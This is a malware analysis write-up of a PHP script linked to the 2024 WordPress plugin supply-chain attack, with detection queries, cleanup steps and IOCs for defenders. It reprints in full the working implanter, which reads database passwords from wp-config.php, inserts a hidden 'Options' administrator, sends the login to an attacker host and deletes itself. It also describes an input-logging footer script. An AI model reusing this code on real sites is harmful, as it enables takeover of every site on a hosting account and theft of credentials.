“Options” - A Standalone Admin Implanter Related to the 2024 Plugin Supply-Chain Attack

Table of Contents
Most of the backdoors I see are hidden behind obfuscation. This one isn’t. wp-control-final-dg.php is 270 lines of plain, commented PHP, and it does one job very efficiently: it puts an administrator account into every WordPress site on a hosting account.
WordPress never takes part. The script reads each site’s database password out of
wp-config.php, connects to MySQL itself, and inserts the admin user with twoINSERTstatements.
It then sends the new login to the operator and deletes itself.
Where This Comes From#
In June 2024 Wordfence reported (hxxps://www[.]wordfence[.]com/blog/2024/06/supply-chain-attack-on-wordpress-org-plugins-leads-to-5-maliciously-compromised-wordpress-plugins/) a supply-chain attack on five WordPress[.]org plugins, including Social Warfare (versions 4.4.6.4 to 4.4.7.1; fixed in 4.4.7.3). The injected code created a rogue administrator and reported it to an attacker-controlled server. The published indicators were two admin usernames, Options and PluginAuth, and the IP address 94.156.79[.]8. (The Hacker News (hxxps://thehackernews[.]com/2024/06/multiple-wordpress-plugins-compromised.html) has a good summary.) No domains were named.
This sample uses the username Options, an /AddSites endpoint, and a function called pachamama(). I also have a copy of the compromised Social Warfare 4.4.7.1 main file, and the two share that same function name, the same code structure and the same endpoint. Here’s how they differ:
| Social Warfare 4.4.7.1 | wp-control-final-dg.php | |
|---|---|---|
| Admin username | PluginAUTH | Options |
| Reports to | hxxps://94[.]156[.]79[.]8/AddSites | hxxps://dynamic-linx[.]com/AddSites |
| Password | 13 random characters per site | 12 random characters once per run |
| Site domain | read from the database (siteurl) | guessed from the directory path |
| Runs | once, then sets an option so it never repeats | immediately, then deletes itself |
| Output | silenced | prints status lines |
| Extras | footer JavaScript, user counts to /CMSUsers | none |
The plugin version fixes several of the standalone one’s rough edges, which makes me think the standalone script is an earlier or rougher build of the same code. I can’t date it independently, though. My copy has a file date of September 2024, but that’s only when I saved it. I can say it’s the same code family, but not whether it’s the same operator.
Step 1: Find Every Site on the Account#
The script has no target. It goes looking for every wp-config.php it can reach:
function find_wp_configs(&$wp_config_paths, $depth = 0) {
$current_directory = getcwd();
$parent_directory = $current_directory;
// Go back three parents
for ($i = 0; $i < 3; $i++) {
$parent_directory = dirname($parent_directory);
}
// Start the search from the parent directory
find_wp_configs_recursive($parent_directory, $wp_config_paths);
}
It climbs three directories up from wherever it’s running, then walks every subdirectory below that, with no depth limit, collecting each wp-config.php it finds.
How far that reaches depends on where the script is when it runs, so I built a fake hosting account with made-up credentials and ran only the search functions against it. (I never ran the real script. It would connect to a database, call out to the attacker’s server and delete itself.)
| Script runs from | Scan starts at | Sites found |
|---|---|---|
.../a.test/public_html/wp-content | /home/u/domains | every site on the account, including nested installs |
.../a.test/public_html/wp-content/plugins/init | .../a.test/public_html | only its own site |
/home/c/public_html/wp-content (cPanel layout) | /home | every account the web user can read |
The script’s cleanup code only makes sense from the first row: a folder one level below a site’s root, such as wp-content. From there, three parents up is the directory that holds all of an account’s sites. On shared hosting, one foothold in one site turns into a rogue admin on every neighbor the web server’s user can read.
Step 2: Read the Database Password#
For each wp-config.php, the script pulls out the table prefix and the four connection settings with regular expressions:
if (preg_match("/\$table_prefix\s*=\s*'(.+?)';/", $config_content, $matches)) {
$prefix = $matches[1];
} else if (preg_match("/table_prefix.*=.*'(.+?)';/", $config_content, $matches)) {
$prefix = $matches[1];
}
The first pattern can never match. In a PHP double-quoted string, \$ becomes a plain $, and in a regular expression a bare $ means “end of line”. I ran both against a typical config: the first doesn’t match and the second does, so the second one rescues it every time.
Two more limits:
- The patterns only match single-quoted values. A config that uses double quotes or
getenv()for the password gives the script an empty password. The connection then fails, and it printsDATABASE ACCESS [FAIL]. - It assumes one setting per
define(). That’s what a standardwp-config.phplooks like, so on most sites it works.
Step 3: Add the Admin Without Using WordPress#
The core of the script is add_admin_user(). It opens its own mysqli connection and writes to the database tables directly:
$username = 'Options';
$password = $generated_password;
$user_role = 'administrator';
$hashed_password = password_hash($password, PASSWORD_DEFAULT);
$query = "INSERT INTO {$config['prefix']}users (user_login, user_pass, user_nicename, user_email, user_registered) VALUES ('{$username}', '{$hashed_password}', '{$username}', '{$username}@example.com', NOW())";
...
$query = "INSERT INTO {$config['prefix']}usermeta (user_id, meta_key, meta_value) VALUES ({$user_id}, '{$config['prefix']}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')";
The account is a row in wp_users plus a single wp_capabilities row that grants the administrator role. The serialized string is hand-written, and s:13 is the correct length for the word administrator.
Skipping WordPress has several benefits for the attacker:
- No
user_registerhook fires. The “new user” notification emails are never sent, and any security plugin that watches for new accounts through WordPress hooks never sees this one. The same is true for anything that logs account creation inside WordPress. - No login, nonce, or session is needed. Everything happens at the database layer.
- The password hash works.
password_hash()produces a bcrypt hash ($2y$...), which isn’t WordPress’s usual format. I didn’t test a login, but I read WordPress 6.6’sclass-phpass.php: when its own hash check doesn’t recognize a hash, it falls back to PHP’scrypt(), which verifies bcrypt. WordPress 6.8 and later support bcrypt natively.
The account does have fingerprints, because it was never created through the normal path:
- The email is
[email protected]. - The user has an empty display name, because the
INSERTdoesn’t set one. - The nicename is the same as the login (
Options). user_registeredis whatever time the script ran.
If the username already exists (SELECT ID ... WHERE user_login = 'Options'), it’s left alone. That check matters for the next step.
Step 4: Report the Login#
Next the script tries to work out which domain this site is, and sends the details to the operator:
$url = 'hxxps://dynamic-linx[.]com/AddSites';
$post_data = array(
'domain' => $domain,
'username' => 'Options',
'password' => $GLOBALS['generated_password']
);
...
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
Each infected site becomes an entry in the operator’s list: domain, username, password. There’s no login URL in the POST, so the operator presumably builds it from the domain.
The script has several mistakes in how it does this, which I confirmed by reading the code:
- One password for every site.
$generated_passwordis created once at the top of the file. Every site hit in the same run gets the same 12 characters, so one leaked login opens all of them. - It reports even when the database step failed. The POST is gated on the domain being known, not on
$mysqlibeing valid. A site where the connection failed still gets reported with a password that was never set. - It reports a wrong password on re-runs. If
Optionsalready exists, the script skips the insert but still sends the freshly generated random password, which doesn’t match the stored one. - The domain is a guess.
get_domain_from_path()takes the folder two levels abovewp-config.php. I tested it on three layouts:
wp-config.php location | Reported “domain” |
|---|---|
.../domains/a.test/public_html/ | a.test (correct) |
/home/c/public_html/ (cPanel) | c (the account username) |
.../public_html/blog/ (nested install) | nothing: validation fails on public_html, so no POST is sent |
The last case is the awkward one for the attacker: a nested WordPress install does get an admin account, because that step comes first, but it’s never reported.
Step 5: Clean Up#
The script finishes by removing evidence:
$init_file = $parent_directory . '/wp-content/plugins/init/init.php';
...
unlink($init_file);
...
unlink($_SERVER['SCRIPT_FILENAME']);
This tells us how the script got there. It deletes wp-content/plugins/init/init.php as well as itself, so a plugin called init was the dropper. Presumably it fetched or included this file and ran it. I don’t have that dropper.
Since the script removes itself and its loader, a file scan after the fact often finds nothing. The evidence is in the database, not the filesystem. The script also prints status lines, presumably for the operator to read in the HTTP response: WP-CONFIG [FOUND], DATABASE ACCESS [SUCCESS], User 'Options' with administrative privileges added successfully., [domain] OK.
The C2 Today#
I looked up both addresses with passive DNS and WHOIS only. I did not contact either one.
dynamic-linx[.]comcurrently resolves to46.8.9.225,.226and.227, which belong to Gransy s.r.o. (Czech Republic, AS60592). Its nameservers arens[.]parktons[.]comandns2[.]parktons[.]com, which look like a parking service.- WHOIS gives the domain a creation date of 2025-06-04, which is later than the file date on my copy (September 2024).
I can’t reconcile those dates. One possibility is that the domain was registered earlier, lapsed, and was re-registered by someone else, which resets the creation date. Another is that the file date isn’t the capture date. Either way, don’t treat the current IPs as attacker infrastructure. What’s reliable here is the name dynamic-linx[.]com and the path /AddSites, as they appear in the sample.
Note on the Plugin Version#
The Social Warfare file has more than the admin creator. It also echoes a footer script into every page, hidden as \u escapes in an eval(). Decoding it statically (no execution), it loads hxxps://94[.]156[.]79[.]8/sc-top.js, and it hooks every input event on the page and POSTs the field name and Base64 value to hostpdf[.]co/pinche.php. In other words, the footer code in this copy is an input logger, not only the SEO spam that the public reports describe. I haven’t checked whether the other four compromised plugins carry the same script. It deserves its own post.
Detection & Cleanup#
- Look in the database first. For every WordPress site on the account, not just the one you know about:
SELECT ID, user_login, user_email, display_name, user_registered
FROM wp_users
WHERE user_login IN ('Options', 'PluginAuth', 'PluginAUTH')
OR user_email LIKE '%@example.com'
OR display_name = '';
(Replace wp_ with the site’s table prefix.) With WP-CLI, wp user list --role=administrator --fields=ID,user_login,user_email,user_registered is a quick way to see every admin.
- Delete the rogue user. Also rotate the database password and the keys and salts in
wp-config.php, because the script read that file. - Check the neighbors. If one site on a hosting account was infected, assume all of the sites reachable by the same user were hit. Audit each.
- Look for leftovers of the dropper in
wp-content/plugins/init/. The script deletesinit.php, but an empty directory, or a copy of the dropper elsewhere, may remain. - Look in outbound logs or a firewall for requests to
dynamic-linx[.]comor94[.]156[.]79[.]8(/AddSites,/CMSUsers,/sc-top.js). - If Social Warfare is installed, make sure it is 4[.]4[.]7[.]3 or later.
- Remember the new account was added at the database level, so it won’t show up in WordPress logs. The only creation record is the
user_registeredtimestamp.
IOCs#
File: wp-control-final-dg.php
SHA256: dcae4e5c58d1b149c31af80811847f89db6f8223af97ccf11f93efa03edbca7f
Function: pachamama()
User: Options (email [email protected], display_name empty)
PluginAuth / PluginAUTH (plugin variant)
C2: hxxps://dynamic-linx[.]com/AddSites
hxxps://94[.]156[.]79[.]8/AddSites, /CMSUsers, /sc-top.js (plugin variant)
hxxps://hostpdf[.]co/pinche.php (plugin variant, input logger)
Dropper: wp-content/plugins/init/init.php (deleted by the script)
Status strings: "WP-CONFIG [FOUND]", "DATABASE ACCESS [SUCCESS]", "[domain] OK"
Sample#
wp-control-final-dg.php
<?php
function check_wp_config($directory) {
while ($directory !== '/') {
$wp_config_file = $directory . '/wp-config.php';
if (file_exists($wp_config_file)) {
return $wp_config_file;
}
$directory = dirname($directory);
}
return false;
}
function parse_wp_config($config_file) {
if (file_exists($config_file)) {
$config_content = file_get_contents($config_file);
$matches = [];
// Extract prefix
if (preg_match("/\$table_prefix\s*=\s*'(.+?)';/", $config_content, $matches)) {
$prefix = $matches[1];
} else if (preg_match("/table_prefix.*=.*'(.+?)';/", $config_content, $matches)) {
$prefix = $matches[1];
} else {
die("Prefix not found in wp-config.php");
}
// Extract database name
if (preg_match("/define\(\s*'DB_NAME'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
$database = $matches[1];
}
// Extract username
if (preg_match("/define\(\s*'DB_USER'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
$username = $matches[1];
}
// Extract password
if (preg_match("/define\(\s*'DB_PASSWORD'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
$password = $matches[1];
}
// Extract host
if (preg_match("/define\(\s*'DB_HOST'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
$host = $matches[1];
} else {
$host = 'localhost'; // Assuming local host if not specified
}
return array(
'prefix' => $prefix,
'database' => $database,
'username' => $username,
'password' => $password,
'host' => $host
);
} else {
die("wp-config.php file not found");
}
}
function access_database($config) {
$mysqli = new mysqli($config['host'], $config['username'], $config['password'], $config['database']);
if ($mysqli->connect_errno) {
echo "DATABASE ACCESS [FAIL]\n";
return false;
} else {
echo "DATABASE ACCESS [SUCCESS]\n";
return $mysqli;
}
}
function generate_random_password($length = 12) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_';
$password = '';
$characters_length = strlen($characters);
for ($i = 0; $i < $length; $i++) {
$password .= $characters[rand(0, $characters_length - 1)];
}
return $password;
}
// Define a global variable for the password
$generated_password = generate_random_password();
function add_admin_user($mysqli, $config) {
global $generated_password; // Access the global generated password variable
$username = 'Options';
$password = $generated_password;
$user_role = 'administrator';
// Hash the password
$hashed_password = password_hash($password, PASSWORD_DEFAULT);
// Check if the user already exists
$query = "SELECT ID FROM {$config['prefix']}users WHERE user_login = '{$username}'";
$result = $mysqli->query($query);
if ($result && $result->num_rows > 0) {
echo "User '{$username}' already exists.\n";
} else {
// Insert the new user
$query = "INSERT INTO {$config['prefix']}users (user_login, user_pass, user_nicename, user_email, user_registered) VALUES ('{$username}', '{$hashed_password}', '{$username}', '{$username}@example.com', NOW())";
$result = $mysqli->query($query);
if ($result) {
$user_id = $mysqli->insert_id;
// Set user role
$query = "INSERT INTO {$config['prefix']}usermeta (user_id, meta_key, meta_value) VALUES ({$user_id}, '{$config['prefix']}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')";
$result = $mysqli->query($query);
if ($result) {
echo "User '{$username}' with administrative privileges added successfully.\n";
} else {
echo "Error assigning role to user '{$username}'.\n";
}
} else {
echo "Error creating user '{$username}': " . $mysqli->error . "\n";
}
}
}
function get_domain_from_path($path) {
$parent_directory = dirname(dirname($path)); // Get the parent directory of the wp-config.php path
$parts = explode('/', $parent_directory);
$domain = end($parts); // Get the last segment of the path
if (filter_var($domain, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)) {
return $domain;
}
return null;
}
function pachamama($path) {
if (strpos($path, '/wp-config.php') !== false) {
$path = str_replace('/wp-config.php', '', $path);
}
$current_directory = $path;
$wp_config_file = check_wp_config($current_directory);
if ($wp_config_file) {
echo "WP-CONFIG [FOUND]\n";
$config = parse_wp_config($wp_config_file);
$mysqli = access_database($config);
if ($mysqli) {
add_admin_user($mysqli, $config);
$mysqli->close();
}
$domain = get_domain_from_path($wp_config_file);
if ($domain) {
echo "[$domain] OK\n";
// Perform a POST request to hxxps://dynamic-linx[.]com/AddSites
$url = 'hxxps://dynamic-linx[.]com/AddSites';
$post_data = array(
'domain' => $domain,
'username' => 'Options',
'password' => $GLOBALS['generated_password'] // Access the global generated password variable
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data)); // Send JSON data
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json', // Set content type to JSON
'Content-Length: ' . strlen(json_encode($post_data)) // Set content length
));
$response = curl_exec($ch);
$error = curl_error($ch); // Get any curl error
curl_close($ch);
if ($response === false) {
echo "POST request failed: $error\n";
} else {
echo "POST request sent successfully. Response: $response\n";
}
}
} else {
echo "WP-CONFIG [NOT FOUND]\n";
}
}
function find_wp_configs(&$wp_config_paths, $depth = 0) {
$current_directory = getcwd();
$parent_directory = $current_directory;
// Go back three parents
for ($i = 0; $i < 3; $i++) {
$parent_directory = dirname($parent_directory);
}
// Start the search from the parent directory
find_wp_configs_recursive($parent_directory, $wp_config_paths);
}
function find_wp_configs_recursive($directory, &$wp_config_paths) {
// Check if wp-config.php exists in the current directory
$wp_config_file = $directory . '/wp-config.php';
if (file_exists($wp_config_file)) {
$wp_config_paths[] = $wp_config_file;
}
// Continue searching forward recursively
$contents = scandir($directory);
foreach ($contents as $item) {
if ($item != '.' && $item != '..' && is_dir($directory . '/' . $item)) {
find_wp_configs_recursive($directory . '/' . $item, $wp_config_paths);
}
}
}
function print_wp_config_paths() {
$wp_config_paths = [];
find_wp_configs($wp_config_paths);
if (empty($wp_config_paths)) {
echo "No wp-config.php files found.\n";
} else {
echo "List of wp-config.php files:\n";
foreach ($wp_config_paths as $wp_config_path) {
echo "$wp_config_path\n";
}
}
}
$wp_config_paths = [];
find_wp_configs($wp_config_paths);
foreach ($wp_config_paths as $wp_config_path) {
pachamama($wp_config_path);
}
function delete_init_and_self() {
// Get the current directory
$current_directory = getcwd();
// Move to the parent directory
$parent_directory = dirname($current_directory);
// Move to wp-content/plugins/init folder
$init_directory = $parent_directory . '/wp-content/plugins/init';
// Check if init.php exists in the init directory
$init_file = $init_directory . '/init.php';
if (file_exists($init_file)) {
// Delete init.php
unlink($init_file);
echo "init.php deleted successfully.\n";
} else {
echo "init.php not found.\n";
}
// Get the path of the currently running PHP script
$current_script = $_SERVER['SCRIPT_FILENAME'];
// Delete the currently running PHP script
if (file_exists($current_script)) {
// Delete the script
unlink($current_script);
echo "Current script deleted successfully.\n";
} else {
echo "Current script not found.\n";
}
}
// Call the function to perform deletion tasks
delete_init_and_self();
?>